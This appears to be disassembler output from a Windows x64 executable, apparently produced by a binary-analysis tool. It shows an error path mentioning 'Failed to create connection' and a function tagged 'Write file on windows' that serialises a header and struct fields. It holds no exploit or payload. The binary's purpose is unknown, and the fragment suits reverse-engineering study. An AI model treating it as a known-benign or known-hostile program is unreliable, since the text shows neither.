lea rcx, [rbp - 0x29]
call fcn.14001351c
int3
lea rcx, [rbp - 0x29]
call fcn.1400062b0
lea rdx, [0x140039730]
lea rcx, [rbp - 0x29]
call fcn.14001351c
nop
lea rcx, [rbp + 0xf]
call fcn.1400062b0
lea rdx, [0x140039730]
lea rcx, [rbp + 0xf]
call fcn.14001351c
nop
xor r9d, r9d
lea r8, [r9 - 1]
lea rdx, str.Failed_to_create_connection
lea rcx, [rbp + 0xf]
call fcn.14000eed8
nop
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x29]
call fcn.140006240
lea rdx, [0x140039768]
lea rcx, [rbp - 0x29]
call fcn.14001351c
int3
Function at 0x140006c20
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov dword [rsp + 0x38], 0xfffe00ff
lea rdx, [rsp + 0x38]
mov r8d, 4
mov rdi, rcx
call fcn.140006a30
mov r8d, 4
mov dword [rsp + 0x38], 0x10000
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140006a30
mov eax, dword [rbx + 0xc]
lea rdx, [rsp + 0x38]
mov r8d, 4
mov dword [rsp + 0x38], eax
mov rcx, rdi
call fcn.140006a30
mov eax, dword [rbx + 8]
lea rdx, [rsp + 0x38]
mov r8d, 4
mov dword [rsp + 0x38], eax
mov rcx, rdi
call fcn.140006a30
mov eax, dword [rbx + 0x10]
lea rdx, [rsp + 0x38]
mov r8d, 4
mov dword [rsp + 0x38], eax
mov rcx, rdi
call fcn.140006a30
mov r8d, dword [rbx + 0x10]
mov rcx, rdi
mov rdx, qword [rbx + 0x18]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.140006a30